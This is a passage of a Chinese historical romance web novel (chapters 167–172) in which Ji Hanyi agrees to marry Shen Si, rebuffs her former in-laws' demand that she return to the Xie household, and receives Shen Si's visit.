沈肆只想在此刻,现在就要知晓答案,他等不急明日了。
即便一刻也不想等。
季含漪面前就是沈肆宽阔的胸膛,他低头往她身上看来,目光深深,季含漪心里微微颤栗。
她想着他现在这般急,想起那天听沈肆说起来事情也急迫的厉害,要是皇上真的利用赐婚对付沈家,季含漪也是不愿见到的。
从前老首辅对她很好,如今沈肆也处处帮她,她于情于理都不能眼睁睁看着大难落到沈家身上。
她向来信任沈肆,即便与沈肆成婚只是为了帮他逃避赐婚,季含漪也觉得沈肆将来对她不会不好。
在她心里沈肆也历来是君子,高门鼎贵,品行高雅端方,他说一切有他,他就一定会安排好一切。
在沈肆这样的目光下,季含漪张张口,虽说心底的最深处还是有一股道不清的遗憾,她还是很认真的点头应下:“我……我愿帮沈大人。”
沈肆听罢深吸了一口气,向来万事岿然不动的人,此刻落在季含漪手上的手都没忍住轻轻一抖。
要不是怕将季含漪吓着,沈肆这一刻都想将季含漪抱紧入怀,再狂吻她。
她身上的每一个角落,她的发顶,额头,鼻尖和唇瓣,他都要一一吻过去。
他看着她清澈的眸子,那眸子里满是对他的信任与感激,他明白她,她心软了。
她自小就纯澈良善,是这般好哄骗的性子。
沈肆深深的闭上眼睛,握在季含漪细白皓腕上的指尖紧了紧,又垂下眼帘看着她的眸子靠近她,喃喃与她低声道:“含漪,将来你就是我的妻,我的所有荣华都与你共享,旁人见你如见我,我们将来会为一体,同进同退。”
“你不必害怕,你只记得一切都有我在,也没有你我之分。”
第167章 我也想来看你
季含漪怔怔听着沈肆的话,他炙热的呼吸落到她脸上,声音里的安定沉稳扫去她的彷惶无措与茫然,让她情不自禁的看着他的眼眸轻轻点头应他。
夜风吹起马车帘子一角,忽明忽亮的光线落在两人身上,季含漪被微微的凉风一吹,才发觉自己此刻与沈肆的姿态暧昧,自己被他几乎压在角落,面前都是沈肆的胸膛。
季含漪还不适应这样的暧昧的,有些近的距离。
即便她答应嫁给他,她也没有非分之想,只想本本分分的帮他,努力配上他妻子的身份,不给他添麻烦。
季含漪又动了动,却不知道该怎么叫沈肆起身。
维持这个姿势很久后,头顶才又响起沈肆沙哑的声音:“回去后不用多想,我会安排好的,一切有我。”
“明日我再来找你。”
说着他顿了一下,炙热的呼吸靠近,又问:“还想吃拔丝糕么?”
季含漪听了沈肆的话一怔,摇头小声道:“沈大人若不空闲,也不用送来的。”
沈肆听着季含漪依口中旧生疏客气的沈大人,垂眸看着她微微偏着的脸庞,她像是还没适应两人这么近的距离,素净白净的脸庞上还带着拘谨的羞涩。
若是不知晓她曾经嫁过人,是半分看不出来的。
沈肆无声笑了下,又低声道:“无妨,我也想来看你。”
最后季含漪从马车上下去时,心里头都还觉得有些恍惚的不真实感。
夜风吹来,她一抬头,就见着依旧坐在马车内的沈肆正掀着帘子看她,声音在夜色低沉:“含漪,有事就找我。”
季含漪点头应着。
知晓沈肆一直在看她,她垂下眼眸又有些急促的转身。
---
这一夜季含漪睡的其实很好。
因为她一旦下了决心,做了决定,便不会再左右徘徊摇摆不定,心里就更不会再有心事,让她夜里睡不着。
所以当早上季含漪醒来的时候,外头天光大亮,她难得的睡了个好觉。
容春听着动静,端着茶进来给季含漪润口的时候,季含漪靠在如意大枕上,还稍有些昏沉沉的,饮了一口茶后就好了许多。
起身穿戴好往母亲那儿去,打算好好与母亲说她的决定。
路过廊下的时候,外头又阴沉沉的带着细雨,季含漪站在廊下看了看,身上月白色梅花纹的衣裳随着细微的动作流转,腰上的白玉扣晃了晃,接着又踏进了屋子。
沉沉的帘子掀开,季含漪走了进去,面前顾氏的面色好了不少,正坐在窗边摆弄顾晏送来的花枝。
从前顾氏便喜欢摆弄这些,她从前是养尊处优的贵妇人,夫君身居高位又姿容俊美,再在官场上游刃有余,又没有婆母压制,平日里摆弄的都是那些后宅雅事,风花雪月,是养在深闺里柔弱经不得风浪的妇人。
如今身子稍好一些,下得来榻,消遣的也只有这些。
季含漪走到母亲身边,顾氏见着季含漪来了,便放下手中的小银剪,拉着季含漪一起去罗汉榻上坐,又笑道:”早上我叫春菊去接了晨露煮茶,你来的正是时候。”
季含漪微微侧身对着母亲,旁边小案用红泥小火炉煮着梅花茶,看着母亲为她斟茶。
季含漪看着母亲脸上带了意思笑意的神色,将自己的决定说于了母亲。
顾氏将茶盏放到季含漪面前,抬眸看她低声道:“沈家一直对我们都有恩惠,含漪,你这样的决定也没有错。”
“沈家家风一直都极好,沈侯更是极好的人,是从前谢玉恒远远比不上的。”
“他既让你帮他,便一定会为你安排好一切,我其实也放心。”
季含漪听到母亲这般说,心里头又松了一层,又说起与二叔那头的回信。
季含漪心里还是愧疚,那旁边的宅院都打理好了,还种了海棠,忙活了许久,又忽然说不去了,心里头也过意不去。
顾氏道:“这事你不必担心,我与你二叔回信,想他也能理解的。”
季含漪问道:“要不要给二叔送一些银
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钱过去,二叔将旁边院子修缮打扫了一遍,后院也收拾好了,这些银子都是二叔垫着的,不好叫二叔白费。”
顾氏点点头:“你说的也有道理,虽不去,该给去的也要给去,他们要不要另说,这样心里才不至于不安。”
两人正说着细节,容春这时候从外头进来,一进来便在季含漪耳边低低说了一句话。
季含漪一顿,又回头叫母亲先歇会儿,她出去一会儿。
出去了外头,容春依旧压低声音看向季含漪道:“谢家的人是跟着顾大夫人来的。”
“奴婢去开门,她们就跟着顾大夫人一起闯进来了,现在人可能就在前厅里坐着的。”
季含漪抿了抿唇,低低对着容春道:“你叫春菊在屋内照顾好母亲,别说谢家人来的事情。”
“我母亲本就容易想不开,免得被谢家的人气着了。”
容春忙点头:“姑娘放心,夫人还不知晓的。”
季含漪点点头,又看了一眼天青色的雨幕,再往前厅走。
才到前厅外的外的廊下,大舅母就在那儿等着季含漪,见着季含漪一来,脸上便做出为难的神情拉着季含漪去一边小声道:“含漪你别怪舅母,舅母也是不愿带她们过来的。”
“今日晏哥儿上值,我想着给你母亲送些好点的燕窝过来给她补补身子,哪想着半路上在巷口与谢家的马车对上了,你也知道他们也住在城东的。”
“我本来也没注意,可谁知道她们心眼儿这么多,居然跟在我的后头,一路就跟过来了。”
“等我下了马车来敲门,她们便站在我的身边一起进来,等我发现也已经晚了。”
季含漪抿唇静静看着大舅母解释的模样,自从父亲出事后,大舅母已经极少会掩饰自己不满的情绪,那双眼里此刻满是愧疚的解释,但看在季含漪的眼里,已经全是虚伪。
她也从来不相信有这么巧合的事情。
从前一根蜡烛都舍不得人,忽然又愿意送上好的燕窝来么。
第168章 谢家不请自来
季含漪看着大舅母的眼睛,历来温和的眼睛里此刻沉静如水,她轻声道:“我记得顾家的马车一直都是寻常马车,又没有挂牌子,谢家的人怎么就偏偏跟上大舅母的马车了呢?”
“到了院门口,谢家的人下来,大舅母会察觉不到,偏等到门开了让她们进去了才发觉了么?”
“舅母既这样做了,又解释什么呢。”
张氏听着季含漪的话,脸色忽的变得一僵。
季含漪的那双眼睛,明明年轻,却又好似看穿了一切,她说这话,声音如轻语,却没留情面。
撕破本就伪装的薄薄一层纸。
那谢家人的确是张氏带来的。
因为她不想让自己儿子再沉溺在季含漪身上,甚至为了季含漪连自己的前程都不要,非要往蔚县去。
她想让谢家的人把这个祸害重新带回去,那样她的儿子也能够死心了。
张氏努力强压下心里的情绪,脸上却厚着脸皮叹息一声,说道:“含漪,你怎么能说这样伤人的话?你不愿相信我也罢,我问心无愧,任你误解就是。”
“我本也还担心着你母亲的病,还送燕窝过来,又何必引谢家的人来?”
季含漪不愿与张氏再说这些,争论真相早没了意义,她知晓她心里明白就是。
她看了一眼前厅屋内正端着手,趾高气扬坐在椅子上的谢锦一眼,又收回了视线看着张氏:“大舅母的燕窝还是自己留着吧,我母亲早吃不惯那些东西了。”
张氏脸色又是变了变。
她看着季含漪,终于脸上有些伪装不下去的质问:“你就无凭无故的非要这么冤枉你舅母么?”
季含漪轻轻蹙眉看着张氏:“我一直很想问舅母,是不是有些谎言说多了,连自己都觉得是真的了?”
张氏瞪大眼睛看着季含漪,半晌没有说出话来。
从前那个温柔知礼的季含漪,从来不会与长辈这样说话的。
这时候谢锦忽然从屋内端着袖子出来,她依旧是用上扬的眼神看着季含漪,好似至始至终都瞧不上她,眉间微蹙,语气倨傲:“我母亲在屋内等你这么久,你就是这样待客的?”
季含漪冷眼看着谢锦:“不请自来的客,便不是我的客。”
谢锦一顿,随即亦冷笑的看着季含漪:“没想到你现在说话这么厉害了。”
“从前在谢府伏低讨好也没能让玉恒喜欢你,你现在这样,连你身上仅有的好也被你作没了,更不值得喜欢。”
季含漪淡淡看了谢锦一眼:“谢家人的喜欢是什么恩赐么?”
“你说这话,只叫人觉得你可笑了。”
谢锦脸色微微变了变,随即又慢条斯理的笑:“季含漪,你现在别不识好歹。”
“我和母亲肯过来找你,已经是给你脸面了。”
季含漪好笑的看着谢锦:“你们给的脸面,是什么要紧的东西么?”
“你们不请自来,又是谁给你们的脸面。”
一句话将谢锦气得脸色发青,指着季含漪半晌说出话来。
张氏看着这幕,怕季含漪与谢家的闹僵,她还指着季含漪回谢家的,便与季含漪低声道:“曾经你也在谢家的,何必现在闹得这样难看?”
“既然谢家的人来,万一是找你有要紧的事情呢,有什么事坐下来好好说话吧。”
“我瞧着她们也是真心。”
季含漪看了张氏一眼,心口的失望堵的她轻轻的发疼。
大舅母往日在府里说那些风凉话她可以尽量体谅,毕竟是一家内的事情,自己与母亲的确住在顾家,是有拖累,所以她不怨怪大舅母的那些话。
可她的大舅母如今在谢锦这样趾高气扬的目光下,还要替着谢家的人说话。
一句句将她推向不讲理的地步去。
站在旁边的谢锦听到了张氏的话,像是借了东风,一下子就又得了理起来,冷哼一声:“你听听,连你舅母都这么说你,亏你自小还是受过教养的,我瞧你现在半分教养也无。”
季含漪未理会谢锦,只是看着张氏,声音里已经是客气疏远的冷淡:“大舅母的话说完了么?说完了还请大舅母带着你带来的东西离开吧,大舅母不是一向觉得我的事情连累了你么,这里的事不敢再叫大舅母留下,麻烦了舅母。”
张氏愣然看着季含漪的眼神,那眼里的讽刺太过于明显,明显到张氏都觉
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得心里一阵发慌。
她下意识的连忙摇头道:“我不是那个意思,我是觉得万事好商量,也是为着你好的。”
季含漪冷淡的含笑:“当着谢家人的面我不说我父亲出事后大舅母怎么做的,从前恩情我一直记着,但大舅母说为了我好,这话我亦是感激,但也受不起这样的好。”
“舅母往后也不必往这儿送什么东西,毕竟我也的确再受不住谢家的人再来纠缠我了。”
这话说的张氏心上一紧,季含漪不留半分情面,她脸上难堪,又咬咬牙,得罪了季含漪便得罪了,只要她真的能跟谢家的人回去,受她记恨也没什么了。
况且谢家的门第那般好,重新回去也是享受荣华富贵,她也问心无愧。
张氏便也什么也不说,转身走了出去。
谢锦因着刚才季含漪的那句不想再被谢家的人纠缠,说的脸色难看。
在她心里,季含漪又凭什么说这样的话?
一个和离妇,被顾家赶出来了,也没有家世背景,有什么底气敢在她面前说这样的话的。
谢锦历来心高气傲,就想要发作,又被屋内母亲淡淡的一句:“阿锦,别说了。”
说着沈大夫人林氏看向站在门外的季含漪,声音温和:“含漪,我来找你不是要纠缠你什么,只想与你好好说一些话。”
季含漪微微侧头,看了眼坐在屋内岿然不动的谢大夫人,她坐在上座,说着最温和的话,却摆出高高在上的姿态,好似上位者在悲悯眼前的人。
季含漪没有回应林氏的话,她只垂眸提着裙摆走进屋内,坐在位置上,靠着椅子,脸上的冷淡是从前的季含漪在林氏面前从来不曾展露过的。
季含漪低头接过容春端来的热茶,热茶白烟袅袅往上升,季含漪看着茶水中上下浮沉的茶叶,忽然心便静了。
容春站在季含漪的身后,压根没打算去给谢锦和谢大夫人上茶,就像是姑娘说的,不请自来的客人,又算什么客人。
只是谢锦尤其的沉不住气,对着季含漪便又指责出声:“我母亲与你说话,你没听见么。”
“还有你连茶都不上,你又是什么意思。”
第169章 谢家肯再要她,是她的福气
季含漪懒得与谢锦做什么口舌之争。
这谢锦眼高于顶,受不得丁点的气,且这些年仗着路元手上的权势,受尽巴结,脾性也就越来越高傲。
自己要是与她真的争论起来,恐怕这一下午都要浪费在这上头。
季含漪更懒得看谢锦一眼。
今日谢家的人既然找来了这里,定然是有求于她的,她并不着急。
不由又想起昨日在沈长龄那儿听来的关于谢家的事,想着也都是报应。
季含漪也是俗人,心里头还是有点畅快的。
谢锦被季含漪的态度气得脸色发僵,端坐在季含漪的对面,冷笑张口:“你如今的架子倒是大,要是哪一天将你抓进大狱里去,我倒想知道你能不能还这么淡定了。”
季含漪听到这里,手上的动作才微微一顿,她抬头看向谢锦脸上的那股倨傲,淡声道:“看来你家路大人应该做了不少这样的事情,将无辜的人抓进镇抚司的刑房了?”
谢锦淡淡冷笑的看了季含漪一眼:“你可以试试。”
“你应该还记得你那表哥的下场。”
站在季含漪身后的容春几乎快被这句话给气得晕了过去,这谢锦当真是无耻到了这个地步。
谢锦说话的时候眼神一直紧紧看在季含漪的脸上,但季含漪脸上却半分波动也没有,像是根本不怕。
那身月白色的衣裳上绣着山月,领口一圈蓝,秀美端庄的坐在那处,窗外雨淋淋,沙沙细雨如她身上的那股细润的安静,在微沉的光线下,恍如玉人。
更仿佛衬的她此刻如市井泼妇。
这恍然一瞬的想法,又叫谢锦变了脸色。
季含漪轻轻放下手上的茶盏,这才抬眼看着对面的谢锦道:“我听说谢玉恒不仅被廷杖,还被贬了官,是因为他在官职上**。”
“我无罪要是哪一天被路元抓进去,那他就是徇私枉法,夜路走多了早晚会撞上鬼。”
“谢玉恒的下场,早晚也有一天会落到他的头上。”
其实这一刻季含漪是有点庆幸的,她心里也想了前因后果,大抵是因为顾晏想去蔚县的事情,所以大舅母才这样做。
即便自己不告而别先去了蔚县,大舅母也定然会将她的行踪透露给谢家,蔚县偏僻,谢家官场上也有门道的,若是在那里对她做什么,她连反抗的余地都没有。
如今她答应了沈肆,至少她对沈肆来说是有用的,在沈肆的羽翼之下,谢家也不能胡作非为,或是对顾家做出一些什么事情来。
谢锦自小仪态规矩极好,又自小众星捧月,没有被气着的时候,这回却被季含漪的话气得差点往季含漪身上扑过来。
要不是母亲开了口,她恐怕现在已经扑到季含漪的身上打起来了。
林氏刚才听了半晌季含漪与谢锦的话,眼神始终落在季含漪的脸上,终于明白,从前在谢家温顺恭良的那个季含漪,是与从前不一样了。
她的神态冷清,身上带着疏远,眼神甚至始终都没有往她这边来看来一眼。
像是全然都不在乎她们来不来。
刚来的时候,林氏还觉得季含漪一定会感恩戴德,现在竟然有些不确定了。
又想起谢锦让路远叫手下的锦衣卫去查季含漪的住处,路远却半点查不出来,还是走了顾家大夫人的路子,才找到了这儿来的。
又听刚才季含漪说自己儿子的事情,也更没想到她居然知道。
林氏本来还有些端着的架子,忽然觉得有些不好端了。
不过又想,即便自己儿子现在被贬了官,但自己儿子还年轻,将来还有前程,季含漪又有什么本事敢嫌弃?
谢家肯再要她,也是她的福气。
要不是自己儿子的身体出了状况,那方面已经不行了,又日日在屋子里开始念着季含漪的好,整个人瘦了一圈,她也是不可能来找季含漪的。
即便恒哥儿出了事,就凭谢家积累的人脉和家底,即便不能找什么们能当户对的高门,寻常女子也是能找到的。
想到这里,张氏微微理了理袖口,先是对着谢锦说了句:“好了,那些话就不用说了。”
说着林氏又看向季含漪:“我们这回来找你,也是想和你好好说话,你也不必做出这样一副样子出来。”
季含漪神态淡然,只垂帘看着手上的茶盏。
林氏看着季含漪现在的态度,心里头再是有些气恼,也维持着贵妇人的体面,只是脸色微微冷了冷道:“如今恒哥儿是出了些事,但那不要紧,他有才干能力,依旧大有前途。”
“我想李眀柔做的那
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件荒唐事,想来你也听说了,她插手你和恒哥儿的事情,让你三年无孕。”
说着林氏脸上做出一派慈悲大度的神情:“如今事情也查清了,误会也已经弄清了,老太太和我的意思是,既然你还能生,那便再回谢家去。”
“那送去官府的和离书,你后头与恒哥儿一起去拿回来就是。”
说完,林氏眼神朝着身边的婆子看去一眼,那婆子便将手上的匣子拿去送到季含漪的面前,林氏又道:“这些是你从前佩戴的首饰,往后都是你的东西,你放心,这些我们也再不会拿去,即便你拿去补贴顾家的或是你母亲,我们也不会插手。”
林氏说这话的时候,还特意深深地看了一眼季含漪身上的打扮。
季含漪现在身上的打扮,在林氏的眼睛,与平民之妇已经没什么两样了。
那乌黑的发上,连那一只银簪都素素静静的,只有一根简单的方头簪,没有耳坠,没有项链,甚至手上连个手镯都没有。
也唯有她身上穿的衣裳料子看上去还算不错,月白色上的花纹很衬她白净的容色,也有她本来的仪态举止,看起来也仅仅只是素净了些,身上的那股雅贵也依旧在的。
但在林氏的眼中,也唯剩这点东西了,如果没有养尊处优被人伺候的富贵日子,即便这身雅致,也是没有用处的。
季含漪眼眸微微往侧,便看到一个婆子拿着一个精美的匣子呈到了自己面前。
那匣子不算小,里头尽数放着季含漪从前用过的首饰。''
这些首饰,都是林氏让她留下来的,现在却又当作恩赐一般的拿来重新给她。
季含漪的眼神又微微上抬,看向林氏眼里的那抹高高在上和胜券在握。
她觉得自己是一定会要这些东西的。
仿佛就如当初自己嫁入谢家,她们也一定觉得她是贪慕荣华富贵,却全然忘了她们当初是怎么求来的这姻缘。
季含漪的声音很淡,淡的冷清:“这些东西我受不起,谢大夫人拿走吧。”
“还请谢大夫人与谢大姑娘往后别再来纠缠我,和离后大家便都体体面面的别做纠缠。”
“或许你们忘了,我当初为了离开谢家,报过了一次官府,如今你们再来,我不介意再报一次。”
第170章 不管是谁,都要有自知之明
季含漪的声音落下去的时候,屋子内静了很久。
谢锦没有想到,林氏也没有想到。
谢锦觉得以季含漪现在的处境来说,能再次回到谢家去,已经是她天大的好运了。
几个和离妇能够再嫁的?
林氏觉得从前在她面前低眉顺目,恭敬伺候的季含漪,定然是想要留在谢家才会那么尽心尽力,既然她想要留在谢家,自己现在给她一个机会,她只需要往下走就是了。
现在林氏在谢家的处境很艰难,手上的管家权被老太太拿走了,老爷也来信来训斥她,还说了要休妻的话,让她这些日也是惶惶不安的。
现在只有季含漪回来,不仅能堵了外头的流言,还能让一切回到正轨。
现在外头也不知是谁流传出去的,说她刻薄对待儿媳,有了当年的约定还让儿子纳妾,说让儿媳离开谢府的时候,连一件谢府的东西都没带走。
在谢家三年,走的时候清清白白,说谢府有辱门第,不仅恩将仇报,还欺辱没了家世的儿媳。
又流传起当年谢家与季家的婚约来,还是谢家死缠烂打去求的。
又说起了她的外甥女李眀柔,说她勾结了自己外甥女逼走了儿媳,现在儿子被外甥女毁了身子是报应。
这些话林氏不愿听的,可偏偏无孔不入的传入她的耳中,下人的窃窃私语,谢家妯娌的阴阳怪气,还有老太太那冷冰冰的眼神,更还有身边那些妇人的指指点点。
她们不会在她耳边说,却好似时时都在说一样。
再有谢玉恒这些日颓废的人不人鬼不鬼,她每天都恨不得能将李眀柔折磨死,但李眀柔偏偏如恶鬼一样的缠着她,说她要是被害**,谢家都是**犯,有人会去都察院替她申冤。
李眀柔的身份的确特殊的很,皇上亲自赏的功臣之女,还有李眀柔的弟弟李明清如一头饿狼虎视眈眈,他们手上还有大笔银子,还买了许多仆人护着,叫林氏杀他们也不是,不杀又不解心头之恨。
她现在只想让季含漪赶紧回去,回去后流言就止住了。
可如今听了季含漪这样的话,林氏的脸色微变,她还没开口,谢锦就已经冷眼看向了季含漪:“你不要给脸不要脸。”
季含漪亦是冷冷的回看着谢锦:“谢大姑娘的脸面,我的确不想要。”
林氏听着季含漪的话,季含漪将话说到这个份上,像是千真万确的不想回去。
这是林氏没有想到的。
林氏看了一眼谢锦,皱眉训斥道:“阿锦,好好说话。”
谢锦难得被母亲训斥一次,不由看向林氏道:“母亲,你以为她真的不想回谢家么。”
“她现在是看我们来请她,想要狮子大开口。”
林氏神情微微一顿,接着她看向季含漪问:“你想要什么?你可以提出来。”
季含漪早就见识到了谢家人的无耻,如今谢锦说出这样的话出来,她竟然也觉得不寻常了。
她脸上带着淡笑,讽刺道:“那我要黄金万两,要五车珍珠宝石,要高楼十座,要良田万亩。”
说着季含漪眼神静静的看着林氏:“谢家给得起么?给不起就罢了。”
谢锦被季含漪的话给震惊到,她看向季含漪:“你是疯了不成。”
季含漪眼眸一转,重新看到谢锦的脸上:“你若是觉得我疯了,也能明白你刚才的话是不是说的疯话。”
林氏脸上难看的看着季含漪:“你如今就是这样的教养了?”
季含漪目光回看着林氏:“谢大夫人觉得我应该如何?”
“应该听话的回到谢家,回去后再兢兢业业的打理那一摊子烂事,然后再不能用谢家的一点钱财,那都是谢家的东西,将来得还回去的。”
“还有随时得准备好被查账,给娘家送点东西回去也得先报备,免得被误会偷拿了谢家的东西。”
“再有要一切识大体,被人害了还要去为别人求情。"
“这谢家大少奶奶的位置,
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我实在能力有限,胜任不了,谢大夫人可另请高明,想来多的是人想嫁,我也实在高攀不了。”
一番话将林氏所有指责的话都堵在了口中,哑口无言,最终也只能极轻的说一句:“你现在说这些,是在怪谢家当初亏待你了?”
季含漪面无表情的摇头:“没什么好怪的,谢家与我来说早过去了,我说出来是叫你们明白,你们觉得别人攀高枝,但别人也并不稀罕”
“不管是谁,都要有自知之明。”
“你们更要有自知之明,谢家门第也不是人人都想要去,也不是非去不可。”
季含漪的话如是惊雷一样砸在屋内,谢锦和林氏都一瞬间没了声。
谢锦历来是性子倨傲的人,听了季含漪的话不可置信的瞪大眼睛看向她,她甚至觉得自己刚才一定是听错了。
从前温吞不爱说话的季含漪,居然也有敢这么说话的时候。
林氏深深看着季含漪,脸上高高在上和养尊处优的神情也隐了下去,还算镇定的对着季含漪开口:“不管你现在心里怎么想的,但你是知道你现在的处境的。”
“我听说你母亲病的更严重了,吃的药又是一笔银子,你回了谢家,你母亲的病你可以放心,我们不会不管的。”
季含漪只是极淡的一笑:“谢大夫人的好意我不敢受,就怕到时候记着一笔一笔的账让我还回去。”
林氏听着季含漪这些讽刺的话,抿了抿唇站起来,看着季含漪道:“你现在说这些不过是些气话,你可以慢慢考虑我今日说的,老太太也说了,只要你肯回去,田庄铺子可直接落到你名下,那时候就是你东西了,谁也拿不走。”
说着林氏看了一眼还要说话的谢锦,让她先住口,又对着季含漪做出一副慈悲的模样道:“含漪,如今我看着你身上这么素净,我是心疼你的,别让你母亲跟着你一起受苦。”
"你不用现在告诉我,等你想好了,送信去谢家就就是。"
第171章 这时候很想见她
林氏和谢锦出了院子,脸上端着的神情,一直到了上了马车才垮了下来,变得严肃冰凉。
谢锦坐在林氏的身边忍不住道:“那季含漪如今过成这样,看她穿戴还都是旧衣,哪里来的底气敢这么说话?”
林氏眯了眯眼淡淡道:“拿桥不知好歹的人,以为咱们现在求着她的,吃了苦头就好了。”
说着林氏微微思索道:“那顾家大夫人那儿倒是可以走动走动,想个什么法子让她来劝。”
谢锦顿了下,又立马点头:“那顾家大夫人今日瞧着像是想要巴结我们谢家,这倒是个路子。”
林氏眼里露出了讽刺的笑来:“小门小户的,稍微对她好点就要感恩戴德了。”
谢锦也含了笑。
这头季含漪看着林氏离开的背影,知晓林氏和谢锦应该是不会善罢甘休,可能还会过来纠缠,说不定还会用什么法子。
她心里怀着心事,想着这里大抵不能长住。
容春也是面露出担忧来:“真没想到顾大夫人居然将谢家的人引了来,这不是存心给姑娘找不痛快?”
“我瞧着姑娘还是回去一趟给老太太说说,让老太太管管。”
季含漪却摇头,没说话的回了屋子。
不说外祖母现在已经有些管不了大舅母了,便是即便能管,谢家的人已经知晓了她住在这里,再说也来不及了。
下午的时候,沈肆正往皇后那里去。
去的路上他有些疲惫的揉了揉眉心,是不想走这一趟的。
进了皇后殿中,果真皇后的身边坐着孙宝琼。
孙宝琼见着了沈肆,连忙也温婉大方的起身过来福礼。
沈肆只是点了点头,目光却看向床榻上的皇后。
皇后虽说额上缠着抹额,看起来病怏怏的靠在枕上,但沈肆知晓,皇后是没病的,这样的法子从小到大也不知用了多少回。
他走到皇后面前,还是规整的上前问候关切。
皇后见着沈肆看向自己眉眼里的无奈,便知晓他定然是看出了自己又是装病。
只是她不用这样的法子,指望沈肆往自己这里过来一趟,比登天还难。
她依旧做出病怏怏的模样,将戏演到了底:“今日多亏了宝琼在身边陪着本宫说话,不然本宫躺在这榻上也难受的很。”
沈肆只是唔了一声,视线未往旁边的孙宝琼身上看去一眼,坐在了旁边的椅子上。
皇后又看了看依旧安静站在一边没出声的孙宝琼,尽管她能看出来孙宝琼对自己弟弟有那个意思的,但却没有上前故意亲近,也没有没话找话的凑去跟前去。
这样的女子大方又识大体,有大家闺秀的修养和气度,她这些日子与她处下来,也很是喜欢。
她弟弟怎么能与一个和离的妇人在一起,那又要在背后承多少人的指点。
要是别人不认得还好,还能瞒下去,偏偏京城里大多都认得。
这对沈家来说,就如一张洁白的绸布,上头忽然落了一滴墨,毁了好好的一张锦缎,谁看了也不痛快。
世间女子千万,清白女子千万,谁都可以,唯独不能是个和离过的人。
总之,皇后是不会让自己弟弟受这个委屈的。
他弟弟这般样样极好的人,怎么能配这样一个女子?
她又咳了两声开口:“你今日就坐在这里与宝琼一起陪本宫说说话。”
“你瞧本宫这个样子,哪儿也去不了,就想与你说说话。”
沈肆看了眼皇后,接着他站了起来,朝着皇后就施了一礼,雅致又恭敬的模样:“臣实不擅长说话,皇后娘娘要实在无趣,不如去沈府请两位姑娘来陪着。”
皇后被沈肆的话气的噎住,还想要开口,就见沈肆居然已经转了身,丝毫没将她这长姐的话放在心上。
皇后头疼的扶额,心里头很是无奈,怎么就长成了这样凉薄又一根筋的性子。
两人虽是亲姐弟,性子全不一样,其实皇后心底也有很多遗憾,年纪相差的太大,两人自小也没能够能够好好的在一起说说亲近的话。
她是想要竭尽所能的给弟弟最好的,这是她唯一的弟弟,怎么能见着他受丁点的委屈。
这会儿看着沈肆的背影,她知晓沈肆心里什么都明白,他们的想法也总是背道而驰,她身为他长姐是不愿逼他的,可要是换一个清白的姑娘,出身再寻常,她也就接受了。
坐在旁边的孙宝琼见着沈肆出去,从刚才
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沈肆进来,到沈肆离开,她自己都清楚,沈肆的目光自始至终都没有停留在自己身上过。
那是自己根本没得沈肆的眼。
但她也没有难过,自己于沈肆来说,不过一位只见过几面之缘的女子,他又为什么得喜欢她,她只清楚,不管是从家世还是才情,她都是最适合他的。
她更知晓,如果主动凑上前,大抵更引沈肆反感。
沈肆喜不喜欢并不重要,世家高门的婚姻,不都是如此么,从来都是家族联姻,家世相当的天作之合。
她来的时候母亲也与她说过,即便沈肆不喜欢她,那也不是要紧的事情,成亲是相敬如宾,是两姓结好,她嫁给了京城里最好的男子,享受荣耀,拥有人人羡慕的体面,站在皇权庇护下,自己的子孙将继续荣耀并惠及家族,那就够了。
她来京城的目的也唯有一个,嫁给京城内最好的男子。
那个人只有沈肆。
不管是家世还是能力,唯有沈肆能配上她。
她目的明确,只要皇后与太后觉得她足够好,那便够了。
孙宝琼没伤心,她也知道皇后是装的病,不过是为了让自己多与沈侯爷相处,她便过去细声安慰:“沈大人平日里公务繁忙,即便耽误一会儿,定然也要搁下许多事情的,舅母勿难受。”
“我在这儿陪着舅母说话,说说宣州的趣事,那儿的趣事可多了,舅母要不要听听?”
皇后看向孙宝琼这派善解人意的模样,脸上不见失落惆怅,反来安慰她。
她缓声叹息,这才是大族女子啊,不动声色又体体面面,才能够担得起一族的兴衰与大事。
她笑了笑,心里对孙宝琼更是喜欢了几分。
这头沈肆出了宫,文安便迫不及待的往跟前走了过去,说了今日谢家找上季含漪的事情。
沈肆的步子微微一顿,眼神微微动了动,又冷笑一声,非要撞上来找死就撞上来,吃点教训也好。
他站在宫道上,又抬头看了看日头,又想起了季含漪,那谢家的找来,怕是她也担惊受怕。
心思一动,也不回衙门,往万宝胡同去。
也不是万分要紧的事情,就是这时候真的很想见她。
第172章 含漪嫁我,是我的幸事
沈肆来的时候,季含漪正趴在小炕桌上小睡。
本来她正在画画的,许是春日本就犯困,又想着谢家今日来的事情,心里头含着心事,画画也没静心,画着画着就睡着了。
容春是知晓季含漪将要嫁给沈侯爷的事情的,便自然而然的将沈侯爷当作了自己未来的姑爷,当看着沈侯爷等在外头的时候,便请到了外间坐,但沈侯忽然掀了帘子进来,她也不敢拦着。
季含漪被容春叫醒的时候,容春说了什么她没听着,就觉得眼前模模糊糊的,只见着眼前好似有个黑黑的人影儿靠近,她又眨眨眼才看清了,沈肆正掀了厚厚的帘子进来。
沈肆身上还穿着绯色公服,这样艳丽的颜色将他衬得面如冠玉,俊美中带着艳,又生的冷清矜贵,季含漪脑中还空白着,差点沉溺在沈肆的男色中。
沈肆见着季含漪还失神的看着她,杏眸里还带着水雾,白净的脸颊上印着袖子上的折痕,她坐在窗下的大明窗下,细雨后潮湿的光线正落在她月白秀肩上,端端正正的素净,瞧着还有那么一两分的娇憨柔美。
沈肆坐在了季含漪的对面,视线落在那小炕桌上画了一小半的山水上,视线微微一偏,又见着地上的好几团纸,最后才看向季含漪的眸子:“扰了你么?”
季含漪这时候已回过了神,忙摇头:“没。”
穿着官服的沈肆看起来比他平日里还要严正威严,是他常居高位与生俱来的威压疏远,季含漪也不由更端着坐姿,俯身为沈肆斟茶。
那白嫩的指尖就晃在眼前,沈肆静静的看着,又道:“我知晓谢家来找你了,你不用怕,他们不会再出现在这里第二次。”
季含漪本来还正打算换一个住处,想着也要与沈肆说一说的,毕竟两人现在的关系与从前有一些不一样了。
这会儿又听沈肆这般说,季含漪就放了心,又轻轻点头。
沈肆端起茶盏,眼神又看了眼季含漪面前一模一样的芙蓉白玉杯,这是一套茶具,他低头饮了一口。
季含漪见着沈肆饮了茶才后知后觉的反应过来,沈肆在外从不用旁人的茶具,他的随从都会将他一应会用的东西随身带着。
又见沈肆已经饮了,想要开口的话还是又咽了回去。
沈肆又抬眼看着季含漪:“我该去见见你的母亲。”
季含漪抬头:“还是等亲事定下来再说吧。”
季含漪说这话,虽说相信沈肆的能力,但她也清楚自己现在的身份要进沈家,定然是不容易的,也不知晓会出什么变故。
